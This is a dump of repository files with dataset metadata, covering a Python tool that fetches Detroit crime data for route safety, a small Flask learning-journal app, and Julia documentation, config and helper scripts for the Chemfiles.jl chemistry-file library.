"length_bytes": 3107,
"license_type": "no_license",
"max_line_length": 258,
"num_lines": 60,
"path": "/FetchCrimeData.py",
"repo_name": "SafeNavDev/SafeNav2.0",
"src_encoding": "UTF-8",
"text": "import requests\n\n\nclass FetchCrimeData:\n static_base_url = \"https://data.detroitmi.gov/resource/i9ph-uyrp.json?\"\n static_category_param = \"\"\n static_date_param = \"\"\n\n # A helper function to format the month field\n def format_month(month):\n int_month = int(month)\n if int_month < 10:\n return '0' + str(int_month)\n else:\n return str(month)\n\n # A custom initializer for efficiency when computing multiple lines along a path\n # Having certain data members stored is more efficient\n def __init__(self, year_in, month_in, day_in):\n month_in = FetchCrimeData.format_month(int(month_in))\n date = year_in + '-' + month_in + '-' + day_in + 'T12:00:00'\n prev_month = FetchCrimeData.format_month(int(month_in) - 2)\n prev_date = year_in + '-' + prev_month + '-' + day_in + 'T12:00:00'\n self.static_category_param = \"\"\"and(category='ASSAULT' or category='ROBBERY' or category='AGGRAVATED ASSAULT' or category='HOMICIDE' or category='KIDNAPPING' or category='DRUNKENNESS' or category='DISORDERLY CONDUCT' or category='DANGEROUS DRUGS')\"\"\"\n self.static_date_param = '$where= (incidentdate between ' + \"'\" + prev_date + \"'\" + ' and ' + \"'\" + date + \"'\"\n\n # NOTE: DEPRECATED! Use initialized and static_query\n # NOTE: Requires location list formatted: ['longitude', 'latitude']\n def query_database(year_in, month_in, day_in, category_in, location, radius):\n incidents = []\n # This generates the category of crime\n category_param = 'and (category=' + category_in +')'\n\n # This generates the date paadfsasdframeter\n month = FetchCrimeData.format_month(month_in)\n date = year_in + '-' + month + '-' + day_in + 'T12:00:00'\n prev_month = FetchCrimeData.format_month(int(month) - 2)\n prev_date = year_in + '-' + prev_month + '-' + day_in + 'T12:00:00'\n date_param = '$where= (incidentdate between ' + \"'\" + prev_date + \"'\" + ' and ' + \"'\" + date + \"'\"\n\n # This generates the radius in which we are searching\n location_param = 'and within_circle(location, ' + location[1] + ', ' + location[0] + ', ' + str(radius) + '))'\n\n # Finally, concatenate and pass http get request\n url = 'https://data.detroitmi.gov/resource/i9ph-uyrp.json?' + date_param + location_param + category_param\n local_data = requests.get(url).json()\n for x in local_data:\n incidents.append(x['location']['coordinates'])\n return incidents\n\n # Allows a more efficient query by not initializing local variables every time\n def static_query(self, incidents, location, radius):\n location_param = 'and within_circle(location, ' + str(location[1]) + ', ' + str(location[0]) + ', ' + str(radius) + '))'\n url = self.static_base_url + self.static_date_param + location_param + self.static_category_param\n local_data = requests.get(url).json()\n if local_data:\n for x in local_data:\n incidents.append(x['location']['coordinates'])\n else:\n return incidents\n"
},
{
"alpha_fraction": 0.6001964807510376,
"alphanum_fraction": 0.6252455711364746,
"avg_line_length": 22.136363983154297,
"blob_id": "d699ccb32d589a090bd01a880cd3b3b04bbb6bcb",
"content_id": "d78af73258f00ea891b149d101fb3e2069ccb980",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2036,
"license_type": "no_license",
"max_line_length": 117,
"num_lines": 88,
"path": "/flaskAPI.py",
"repo_name": "SafeNavDev/SafeNav2.0",
"src_encoding": "UTF-8",
"text": "from flask import Flask, request, jsonify\nimport datetime\nfrom CompareData import CompareData\n\napp = Flask(__name__)\n\n\[email protected]('/coordinate/<lat1>,<long1>;<lat2>,<long2>')\ndef get_route(lat1, long1, lat2, long2):\n # Validate all parameters are valid latitudes and longitudes\n if not is_latitude(lat1):\n return invalid('Latitude 1 not valid')\n elif not is_latitude(lat2):\n return invalid('Latitude 2 not valid')\n elif not is_longitude(long1):\n return invalid('Longitude 1 not valid')\n elif not is_longitude(long2):\n return invalid('Longitude 2 not valid')\n\n now = datetime.datetime.now()\n crimes_on_path = CompareData.return_crimes(lat1, long1, lat2, long2, str(now.year), str(now.month), str(now.day))\n\n # add all params to a dict to be converted to a json array\n newDict = {'coordinates':crimes_on_path}\n return jsonify(**newDict)\n\n\n# check if a latitude is valid\ndef is_latitude(s):\n try:\n f = float(s)\n if not 90 > f > -90:\n return False\n return True\n except ValueError:\n return False\n\n\n# check if a longitude is valid\ndef is_longitude(s):\n try:\n f = float(s)\n if not 180 > f > -180:\n return False\n return True\n except ValueError:\n return False\n\n\[email protected]('/post/<int:post_id>')\ndef show_post(post_id):\n # show the post with the given id, the id is an integer\n\n return 'Post %d' % post_id\n\n\n# handle any 404 errors\[email protected](404)\ndef not_found(error=None):\n\n message = {\n 'status': 404,\n 'message': 'Not Found: ' + request.url,\n }\n\n resp = jsonify(message)\n resp.status_code = 404\n\n return resp\n\n\n# handle any invalid requests\[email protected](400)\ndef invalid(error=None):\n error_message = 'Bad Request'\n\n if error is not None:\n error_message = 'Bad Request: ' + error\n\n message = {\n 'status': 400,\n 'message': error_message,\n }\n\n resp = jsonify(message)\n resp.status_code = 400\n\n return resp\n"
},
{
"alpha_fraction": 0.6870229244232178,
"alphanum_fraction": 0.7068702578544617,
"avg_line_length": 39.875,
"blob_id": "86d0dfd747298223595ba3e42942c3578b9c2eff",
"content_id": "754b7352427e9f57b011f46210995658b2a1cc0f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 655,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 16,
"path": "/CompareData.py",
"repo_name": "SafeNavDev/SafeNav2.0",
"src_encoding": "UTF-8",
"text": "import requests\nfrom FetchCrimeData import FetchCrimeData\nfrom FilteredPath import FilteredPath\n\nsegment_length_miles = .15\nsegment_length_meters = 200\n\nclass CompareData:\n def return_crimes(lat1_in, long1_in, lat2_in, long2_in, year_in, month_in, day_in):\n incidents_on_route = []\n data = FilteredPath.get_data(lat1_in, long1_in, lat2_in, long2_in)\n path = FilteredPath.filter_path_theory(data, segment_length_miles)\n CrossReferencer = FetchCrimeData(year_in, month_in, day_in)\n for x in path:\n CrossReferencer.static_query(incidents_on_route, x, segment_length_meters)\n return incidents_on_route\n\n"
}
] | 4 |
paulojenks/learning_log_flask | https://github.com/paulojenks/learning_log_flask | c607b6bc6a53229f17284632ad3730e1f728206b | 1347deb915aa965acc825de6aba825b1e114b75d | 1d05b9dbb74d20cb8ba2d8adf5f60c0cd85302d7 | refs/heads/master | 2020-03-18T05:48:43.594519 | 2018-05-22T04:59:11 | 2018-05-22T04:59:11 | 134,362,754 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7087517976760864,
"alphanum_fraction": 0.72453373670578,
"avg_line_length": 57.16666793823242,
"blob_id": "a279747e3a353aadb5a361f2d4dc6fd2d3ac2dae",
"content_id": "b3ea2bcbb127fd8a45bae6f2d6360aab1898bfd3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 697,
"license_type": "no_license",
"max_line_length": 113,
"num_lines": 12,
"path": "/forms.py",
"repo_name": "paulojenks/learning_log_flask",
"src_encoding": "UTF-8",
"text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField, PasswordField, TextAreaField, IntegerField, DateField\nfrom wtforms.validators import (DataRequired, Regexp, ValidationError, Email,\n Length, EqualTo)\n\n\nclass PostForm(FlaskForm):\n title = StringField('Title', validators=[DataRequired(), Length(max=100)])\n date = DateField('Date', validators=[DataRequired()])\n time_spent = StringField('Time Spent', validators=[DataRequired()])\n what_i_learned = TextAreaField('What I learned', validators=[DataRequired(), Length(max=1000)])\n resources_to_remember = TextAreaField('Resources to remember', validators=[DataRequired(), Length(max=1000)])"
},
{
"alpha_fraction": 0.6097866892814636,
"alphanum_fraction": 0.6273525953292847,
"avg_line_length": 24.74193572998047,
"blob_id": "23c69c455fbd3c2e626d3b2d695fb0dbfffb4e1b",
"content_id": "effd289f6668a614c2dc92ad6a78757866c90a73",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 797,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 31,
"path": "/models.py",
"repo_name": "paulojenks/learning_log_flask",
"src_encoding": "UTF-8",
"text": "from peewee import *\n\nDATABASE = SqliteDatabase('journal.db')\n\n\nclass Entry(Model):\n title = CharField(max_length=100)\n date = DateField()\n time_spent = CharField(max_length=255)\n what_i_learned = CharField(max_length=1000)\n resources_to_remember = CharField(max_length=1000)\n\n class Meta:\n database = DATABASE\n order_by = ('-date',)\n\n @classmethod\n def create_entry(cls, title, date, time_spent, what_i_learned, resources_to_remember):\n cls.create(\n title=title,\n date=date,\n time_spent=time_spent,\n what_i_learned=what_i_learned,\n resources_to_remember=resources_to_remember\n )\n\n\ndef initialize():\n DATABASE.connect()\n DATABASE.create_tables([Entry], safe=True)\n DATABASE.close()"
},
{
"alpha_fraction": 0.6291512846946716,
"alphanum_fraction": 0.6350553631782532,
"avg_line_length": 27.536842346191406,
"blob_id": "eb8412b3807664943cfff2b7ec92da95c6d8a32a",
"content_id": "bf217d36fff293386f44f82734e63cda1000d60c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2710,
"license_type": "no_license",
"max_line_length": 111,
"num_lines": 95,
"path": "/app.py",
"repo_name": "paulojenks/learning_log_flask",
"src_encoding": "UTF-8",
"text": "from flask import (Flask, g, render_template, flash, redirect, url_for)\n\nimport models\nimport forms\n\nDEBUG = True\nPORT = 5000\nHOST = '127.0.0.1'\n\napp = Flask(__name__, static_url_path='/static')\napp.secret_key = 'l;joi3;llak;ij;3oij'\n\n\[email protected]_request\ndef before_request():\n \"\"\"Connect to the database before each request.\"\"\"\n g.db = models.DATABASE\n g.db.connect()\n\n\[email protected]_request\ndef after_request(response):\n \"\"\"Close the database connection after each request.\"\"\"\n g.db.close()\n return response\n\n\[email protected]('/')\ndef index():\n stream = models.Entry.select().limit(100)\n return render_template('index.html', stream=stream)\n\n\[email protected]('/entries')\ndef stream():\n template = 'index.html'\n stream = models.Entry.select().limit(100)\n return render_template(template, stream=stream)\n\n\[email protected]('/entry', methods=[\"GET\", \"POST\"])\ndef new():\n form = forms.PostForm()\n if form.validate_on_submit():\n models.Entry.create_entry(\n title=form.title.data.strip(),\n date=form.date.data,\n time_spent=form.time_spent.data,\n what_i_learned = form.what_i_learned.data.strip(),\n resources_to_remember = form.resources_to_remember.data.strip()\n )\n flash(\"Entry Posted!\", \"success\")\n return redirect(url_for('index'))\n return render_template('entry.html', form=form)\n\n\[email protected]('/entries/<int:entry_id>')\ndef details(entry_id):\n entries = models.Entry.select().where(\n models.Entry.id == entry_id\n )\n return render_template('detail.html', stream=entries)\n\n\[email protected]('/entries/delete/<int:entry_id>')\ndef delete_entry(entry_id):\n try:\n models.Entry.get(models.Entry.id == entry_id).delete_instance()\n except models.IntegrityError:\n pass\n flash(\"Entry Deleted\", \"success\")\n return redirect(url_for('index'))\n\n\[email protected]('/entries/edit/<int:entry_id>', methods=('GET', 'POST'))\ndef edit_entry(entry_id):\n edit = models.Entry.select().where(models.Entry.id == entry_id).get()\n form = forms.PostForm(obj=edit)\n form.populate_obj(edit)\n if form.validate_on_submit():\n q = models.Entry.update(\n title=form.title.data.strip(),\n date=form.date.data,\n time_spent=form.time_spent.data,\n what_i_learned = form.what_i_learned.data.strip(),\n resources_to_remember = form.resources_to_remember.data.strip()).where(models.Entry.id == entry_id)\n q.execute()\n flash(\"Entry updated\", \"success\")\n return redirect(url_for('stream'))\n return render_template('entry.html', form=form)\n\n\nif __name__ == '__main__':\n models.initialize()\n app.run(debug=DEBUG, host=HOST, port=PORT)"
}
] | 3 |
chemfiles/Chemfiles.jl | https://github.com/chemfiles/Chemfiles.jl | d7c9267141ff6b8a2ff0219bacb30952753758db | a86f6d286b85a736571475a21c2090d74ce91906 | 82fe5e341c793cb51149d993307da9543824b206 | refs/heads/master | 2023-08-24T01:15:40.216350 | 2023-08-18T11:41:39 | 2023-08-18T11:41:39 | 36,581,383 | 38 | 23 | NOASSERTION | 2015-05-31T00:30:50 | 2023-08-13T20:35:02 | 2023-08-17T14:20:40 | Julia | [
{
"alpha_fraction": 0.7605717778205872,
"alphanum_fraction": 0.7605717778205872,
"avg_line_length": 33.26530456542969,
"blob_id": "b246bb2894ddaf16141bfd89299b1f633930238b",
"content_id": "bb178f171491c727aa461caa72eb7ba380d1bf20",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1679,
"license_type": "permissive",
"max_line_length": 169,
"num_lines": 49,
"path": "/README.md",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "# Chemfiles.jl\n\n[](https://github.com/chemfiles/Chemfiles.jl/actions/workflows/tests.yml)\n[](https://codecov.io/github/chemfiles/Chemfiles.jl?branch=master)\n[](http://chemfiles.org/Chemfiles.jl/)\n\nThis package contains the Julia binding for the [chemfiles] library. It allow\nyou, as a programmer, to read and write chemistry trajectory files easily, with\nthe same simple interface for all the supported formats. For more information,\nplease read the [introduction to chemfiles][docs_intro].\n\n[chemfiles]: https://github.com/chemfiles/chemfiles\n[docs_intro]: http://chemfiles.org/chemfiles/latest/overview.html\n\n## [Documentation](http://chemfiles.github.io/Chemfiles.jl/)\n\n## Installation\n\nYou can install Chemfiles with `Pkg.add(\"Chemfiles\")`. You can also run the test\nsuite with:\n\n```julia\njulia> Pkg.test(\"Chemfiles\")\n```\n\nAll the tests should pass. If they don't, please open an [issue].\n\n## Usage example\n\nHere is a simple usage example for `Chemfiles.jl`. Please see the `examples`\nfolder for more examples.\n\n```julia\nusing Chemfiles\n\ntrajectory = Trajectory(\"filename.xyz\")\nframe = read(trajectory)\n\nprintln(\"There are $(size(frame)) atoms in the frame\")\npos = positions(frame)\n\n# Do awesome things with the positions here !\n```\n\n## Bug reports, feature requests\n\nPlease report any bug you find and any feature you may want as a Github [issue].\n\n[issue]: https://github.com/chemfiles/Chemfiles.jl/issues/new\n"
},
{
"alpha_fraction": 0.6046814322471619,
"alphanum_fraction": 0.6072821617126465,
"avg_line_length": 26.96363639831543,
"blob_id": "42432733464f843fbfd6e78aa6bbd467d793f9bc",
"content_id": "3f9751697b4f4590848fb9ba5163c45de724986a",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1538,
"license_type": "permissive",
"max_line_length": 88,
"num_lines": 55,
"path": "/scripts/check_used_functions.py",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n\"\"\"\nCheck that all the functions defined in the C API are\neffectively used in the chemfiles binding.\n\"\"\"\nimport os\nimport sys\nimport re\n\nIGNORED = [\"chfl_trajectory_open\"]\nERROR = False\nROOT = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"..\")\n\n\ndef error(message):\n print(message)\n global ERROR\n ERROR = True\n\n\ndef functions_list():\n functions = []\n with open(os.path.join(ROOT, \"src\", \"generated\", \"cdef.jl\")) as fd:\n for line in fd:\n line = line.strip()\n if line.startswith(\"# Function\"):\n name = line.split(\"'\")[1]\n functions.append(name)\n return functions\n\n\ndef read_all_binding_functions():\n binding_functions = set()\n for (dirpath, _, paths) in os.walk(os.path.join(ROOT, \"src\")):\n for path in paths:\n if path != \"cdef.jl\" and path.endswith(\".jl\"):\n with open(os.path.join(ROOT, dirpath, path)) as fd:\n file_functions = re.findall(r\"(chfl_[a-z A-Z 0-9 _]*)\\(\", fd.read())\n binding_functions.update(file_functions)\n return binding_functions\n\n\ndef check_functions(functions, binding_functions):\n for function in functions:\n if function not in binding_functions and function not in IGNORED:\n error(\"Missing: \" + function)\n\n\nif __name__ == '__main__':\n functions = functions_list()\n binding_functions = read_all_binding_functions()\n check_functions(functions, binding_functions)\n\n if ERROR:\n sys.exit(1)\n"
},
{
"alpha_fraction": 0.6241135001182556,
"alphanum_fraction": 0.6241135001182556,
"avg_line_length": 9.071428298950195,
"blob_id": "5836a403b82af70eee9092c3b16077ba88df5135",
"content_id": "b72773a72309f8cf08d0cfdf09b7cdb3f1f9a730",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 141,
"license_type": "permissive",
"max_line_length": 27,
"num_lines": 14,
"path": "/docs/src/reference/trajectory.md",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "# Trajectory\n\n```@docs\nTrajectory\n```\n\n```@autodocs\nModules = [Chemfiles]\nPages = [\"Trajectory.jl\"]\n```\n\n```@docs\nChemfiles.DataBuffer\n```\n"
},
{
"alpha_fraction": 0.7889447212219238,
"alphanum_fraction": 0.7889447212219238,
"avg_line_length": 45.82352828979492,
"blob_id": "565da6d8acb3661766d058d06ef891c68da43608",
"content_id": "5039ef309fc3de51f022638c5a774b4f1f2df9d2",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 796,
"license_type": "permissive",
"max_line_length": 91,
"num_lines": 17,
"path": "/docs/src/reference/atomsbase.md",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "# AtomsBase integration\n\n`Chemfiles` is integrated with the [AtomsBase](https://github.com/JuliaMolSim/AtomsBase.jl)\nby means of appropriate `convert` methods as well as respective constructors,\nwhich are listed below. Note that these conversion routines copy data unlike the\nmajority of functionality in Chemfiles.\n\nIf your main interest is in reading structural data from disk, have a look at\n[AtomsIO](https://github.com/mfherbst/AtomsIO.jl). This package provides a uniform\ninterface for reading structural data and exposing them in an `AtomsBase`-compatible\nway. Under the hood the package employs a number of parser packages (including Chemfiles)\nto support reading / writing a wide range of file formats.\n\n```@autodocs\nModules = [Chemfiles, Base, AtomsBase]\nPages = [\"atomsbase.jl\"]\n```\n"
},
{
"alpha_fraction": 0.5494505763053894,
"alphanum_fraction": 0.5494505763053894,
"avg_line_length": 8.100000381469727,
"blob_id": "ceb42a82581b8e48d6038420881ca0c364a0199e",
"content_id": "83840966c8ea282f2264edeb9ff9d0ac37eb44fd",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 91,
"license_type": "permissive",
"max_line_length": 22,
"num_lines": 10,
"path": "/docs/src/reference/frame.md",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "# Frame\n\n```@docs\nFrame\n```\n\n```@autodocs\nModules = [Chemfiles]\nPages = [\"Frame.jl\"]\n```\n"
},
{
"alpha_fraction": 0.6323529481887817,
"alphanum_fraction": 0.6323529481887817,
"avg_line_length": 18.428571701049805,
"blob_id": "f75f621969e65dbc0269f2facefdafa6e9c8f112",
"content_id": "6ac0b8c1811b3803f82d4ce24b8dd0bb22149ef5",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 136,
"license_type": "permissive",
"max_line_length": 48,
"num_lines": 7,
"path": "/docs/src/reference/misc.md",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "# Miscelaneous functions\n\n```@autodocs\nModules = [Chemfiles]\nPages = [\"misc.jl\"]\nFilter = name -> !startswith(string(name), \"_\")\n```\n"
},
{
"alpha_fraction": 0.6019417643547058,
"alphanum_fraction": 0.6019417643547058,
"avg_line_length": 9.300000190734863,
"blob_id": "1532ee6ebf3b8adf72d9212172d6520597ab07de",
"content_id": "ee63087fd30761300c9692e7cc8c2d5a366f2f3f",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 103,
"license_type": "permissive",
"max_line_length": 26,
"num_lines": 10,
"path": "/docs/src/reference/selection.md",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "# Selection\n\n```@docs\nSelection\n```\n\n```@autodocs\nModules = [Chemfiles]\nPages = [\"Selection.jl\"]\n```\n"
},
{
"alpha_fraction": 0.503778338432312,
"alphanum_fraction": 0.736775815486908,
"avg_line_length": 26.379310607910156,
"blob_id": "85718479b5074aac9a1a53f81b7b278e5e9a385b",
"content_id": "ffa22fe1d399e47bd89d49c655fa7c555f738ca4",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "TOML",
"length_bytes": 794,
"license_type": "permissive",
"max_line_length": 60,
"num_lines": 29,
"path": "/Project.toml",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "name = \"Chemfiles\"\nuuid = \"46823bd8-5fb3-5f92-9aa0-96921f3dd015\"\nauthors = [\"Guillaume Fraux <[email protected]>\"]\nversion = \"0.10.41\"\n\n[deps]\nAtomsBase = \"a963bdd2-2df7-4f54-a1ee-49d51e6be12a\"\nChemfiles_jll = \"78a364fa-1a3c-552a-b4bb-8fa0f9c1fcca\"\nDocStringExtensions = \"ffbed154-4ef7-542d-bbb7-c09d3a79fcae\"\nPeriodicTable = \"7b2266bf-644c-5ea3-82d8-af4bbd25a884\"\nUnitful = \"1986cc42-f94f-5a68-af5c-568840ba703d\"\nUnitfulAtomic = \"a7773ee8-282e-5fa2-be4e-bd808c38a91a\"\n\n[compat]\nAtomsBase = \"0.3\"\nAtomsBaseTesting = \"0.1\"\nChemfiles_jll = \"= 0.10.4\"\nDocStringExtensions = \"0.8.3, 0.9\"\nPeriodicTable = \"1\"\nUnitful = \"1\"\nUnitfulAtomic = \"1\"\njulia = \"1.6\"\n\n[extras]\nAtomsBaseTesting = \"ed7c10db-df7e-4efa-a7be-4f4190f7f227\"\nTest = \"8dfed614-e22c-5e08-85e1-65c5234f0b40\"\n\n[targets]\ntest = [\"AtomsBaseTesting\", \"Test\"]\n"
},
{
"alpha_fraction": 0.5714285969734192,
"alphanum_fraction": 0.5714285969734192,
"avg_line_length": 8.800000190734863,
"blob_id": "9f03b818f8dd939f6d804986ce6c920d5e17bb34",
"content_id": "920e3986ad45743ed39d81ca8216692253ad424d",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 98,
"license_type": "permissive",
"max_line_length": 21,
"num_lines": 10,
"path": "/docs/src/reference/atom.md",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "# Atom\n\n```@docs\nChemfiles.Atom\n```\n\n```@autodocs\nModules = [Chemfiles]\nPages = [\"Atom.jl\"]\n```\n"
},
{
"alpha_fraction": 0.5899999737739563,
"alphanum_fraction": 0.5899999737739563,
"avg_line_length": 9,
"blob_id": "0d1a220ff9a910ef23ce330985f645f0b29b1c86",
"content_id": "997d0b6da52e1ee107d36599a54a79677ba015a4",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 100,
"license_type": "permissive",
"max_line_length": 25,
"num_lines": 10,
"path": "/docs/src/reference/cell.md",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "# UnitCell\n\n```@docs\nUnitCell\n```\n\n```@autodocs\nModules = [Chemfiles]\nPages = [\"UnitCell.jl\"]\n```\n"
},
{
"alpha_fraction": 0.697826087474823,
"alphanum_fraction": 0.697826087474823,
"avg_line_length": 22,
"blob_id": "f21b6c1e1eac7a5f5ec95e4f434dd5aa91ca7ee4",
"content_id": "a48ee711ddb0bf986910bd66b60c359ae49d2804",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 460,
"license_type": "permissive",
"max_line_length": 78,
"num_lines": 20,
"path": "/scripts/build-docs.sh",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "#!/bin/bash -xe\n\ncd $TRAVIS_BUILD_DIR\n\n# Install doc dependencies\njulia --check-bounds=yes --inline=no -e 'using Pkg; Pkg.add(\"Documenter\");'\n\n# Get previous documentation\ngit clone https://github.com/chemfiles/Chemfiles.jl --branch gh-pages gh-pages\nrm -rf gh-pages/.git\n\n# Build documentation\njulia docs/make.jl\n\nif [[ \"$TRAVIS_TAG\" != \"\" ]]; then\n mv docs/build/ gh-pages/$TRAVIS_TAG\nelse\n rm -rf gh-pages/latest\n mv docs/build/ gh-pages/latest\nfi\n"
},
{
"alpha_fraction": 0.5899999737739563,
"alphanum_fraction": 0.5899999737739563,
"avg_line_length": 9,
"blob_id": "f0a32c8af3086ad4c73b2f8349f8a86f031fee62",
"content_id": "7c00a1a18ae89baf51bdfcc1a90c382b60217a73",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 100,
"license_type": "permissive",
"max_line_length": 25,
"num_lines": 10,
"path": "/docs/src/reference/topology.md",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "# Topology\n\n```@docs\nTopology\n```\n\n```@autodocs\nModules = [Chemfiles]\nPages = [\"Topology.jl\"]\n```\n"
},
{
"alpha_fraction": 0.7077451348304749,
"alphanum_fraction": 0.7214803695678711,
"avg_line_length": 27.182796478271484,
"blob_id": "5be193f90b91eecacbd4e180b14c1d820a4284a9",
"content_id": "55900075ca6cb9a6172c05bba7f802d9cf9fea6e",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 5242,
"license_type": "permissive",
"max_line_length": 87,
"num_lines": 186,
"path": "/docs/src/tutorials.md",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "# Tutorials\n\nThis section presents some hand-on tutorials to the chemfiles Julia package. All\nthe code here is under the [CC-0 Universal\nLicence](https://creativecommons.org/publicdomain/zero/1.0/) which means that\nyou are free to do whatever you want with it (*i.e.* it is Public Domain code)\n\n## Read a single frame\n\nIn this tutorials we will read a frame from a trajectory, and print the indexes\nof all the atom in the half-space `x < 5`.\n\nWe start by `using` the `Chemfiles` package to bring in scope the needed\nfunctions:\n\n```@literalinclude ../examples/indexes.jl 4-5\n```\n\nThen we open a Trajectory and read the first frame:\n\n```@literalinclude ../examples/indexes.jl 7-8\n```\n\nWe can now create a list to store the indices of the atoms with `x < 5`, and get\nthe positions of the atoms in the frame with the [`positions`](@ref) function\n\n```@literalinclude ../examples/indexes.jl 10-11\n```\n\nIterating through the atoms in the frame, we get the ones matching our\ncondition. [`size(::Frame)`](@ref) gives the number of atoms in the frame, which\nis also the size of the `positions` array. This positions array shape is `(3,\nsize(frame))`.\n\n```@literalinclude ../examples/indexes.jl 13-17\n```\n\nAnd finally we can print our results\n\n```@literalinclude ../examples/indexes.jl 19-22\n```\n\n```@raw html\n<details><summary><a>Click here to see the whole program</a></summary>\n```\n\n```@raw latex\nThe whole code looks like this\n```\n\n```@literalinclude ../examples/indexes.jl 4-\n```\n\n```@raw html\n</details>\n```\n\nFor more information about reading frame in a trajectory, see the following\nfunctions:\n\n- [`read_step`](@ref) to directly read a given step.\n- [`set_cell!(::Trajectory)`](@ref) and [`set_topology!(::Trajectory)`](@ref)\n to specify an unit cell or a topology for all frames in a trajectory.\n\n## Generating a structure\n\nNow that we know how to read frames from a trajectory, let's try to create a new\nstructure and write it to a file. As previsouly, we start by using the Chemfiles\npackage\n\n```@literalinclude ../examples/generate.jl 4-5\n```\n\nEverything starts in a [`Topology`](@ref). This is the class that defines the\natoms and the connectivity in a system. Here, we add three [`Chemfiles.Atom`](@ref) and\ntwo bonds to create a water molecule.\n\n```@literalinclude ../examples/generate.jl 7-13\n```\n\nWe can then create a [`Frame`](@ref) corresponding to this topology. We resize\nthe frame to ensure that the frame and the topology contains the same number of\natoms.\n\n```@literalinclude ../examples/generate.jl 15-17\n```\n\nWe can then set the atomic positions:\n\n```@literalinclude ../examples/generate.jl 19-22\n```\n\nAnother possibility is to directly add atoms to the frame. Here we define a\nsecond molecule representing carbon dioxyde. [`add_atom!`](@ref) takes three\narguments: the frame, the atom, and the position of the atom.\n\n```@literalinclude ../examples/generate.jl 24-28\n```\n\nFinally, we can set the [`UnitCell`](@ref) associated with this frame.\n\n```@literalinclude ../examples/generate.jl 30-30\n```\n\nNow that our frame is constructed, it is time to write it to a file. For that,\nwe open a trajectory in write (`'w'`) mode, and write to it, using the same\nsyntax as a standard Julia `open(...) do ... end` block\n\n```@literalinclude ../examples/generate.jl 32-34\n```\n\n```@raw html\n<details><summary><a>Click here to see the whole program</a></summary>\n```\n\n```@raw latex\nWrapping everything up, the whole code looks like this:\n```\n\n```@literalinclude ../examples/generate.jl 4-\n```\n\n```@raw html\n</details>\n```\n\n## Using selections\n\nNow that we know how to read and write frame from trajectories, how about we do\na bit a filtering? In this tutorial, we will read all the frames from a file,\nand use selections to filter which atoms we will write back to another file.\nThis example will also show how chemfiles can be used to convert from a file\nformat to another one.\n\nWe start by opening the two trajectories we will need\n\n```@literalinclude ../examples/select.jl 7-8\n```\n\nAnd we create a [`Selection`](@ref) object to filter the atoms we want to\nremove.\n\n```@literalinclude ../examples/select.jl 10-10\n```\n\nThen we can iterate over all the frames in the trajectory, and use the selection\nto get the list of atoms to remove. The result of [`evaluate`](@ref)\nis a list containing the atoms matching the selection.\n\n```@literalinclude ../examples/select.jl 12-13\n```\n\nIn order to remove the atoms from the frame, we need to sort the `to_remove`\nlist in descending order: removing the atom at index `i` will shift the index of\nall the atoms after `i`. So we start from the end and work toward the start of\nthe frame.\n\n```@literalinclude ../examples/select.jl 14-16\n```\n\nFinally, we can write the cleaned frame to the output file, and start the next\niteration.\n\n```@literalinclude ../examples/select.jl 17-18\n```\n\nSince we opened the files directly instead of using a `do ... end` block, we hae\nto close them to flush all buffers and release file descriptors.\n\n```@literalinclude ../examples/select.jl 20-23\n```\n\n```@raw html\n<details><summary><a>Click here to see the whole program</a></summary>\n```\n\n```@raw latex\nThe whole program look like 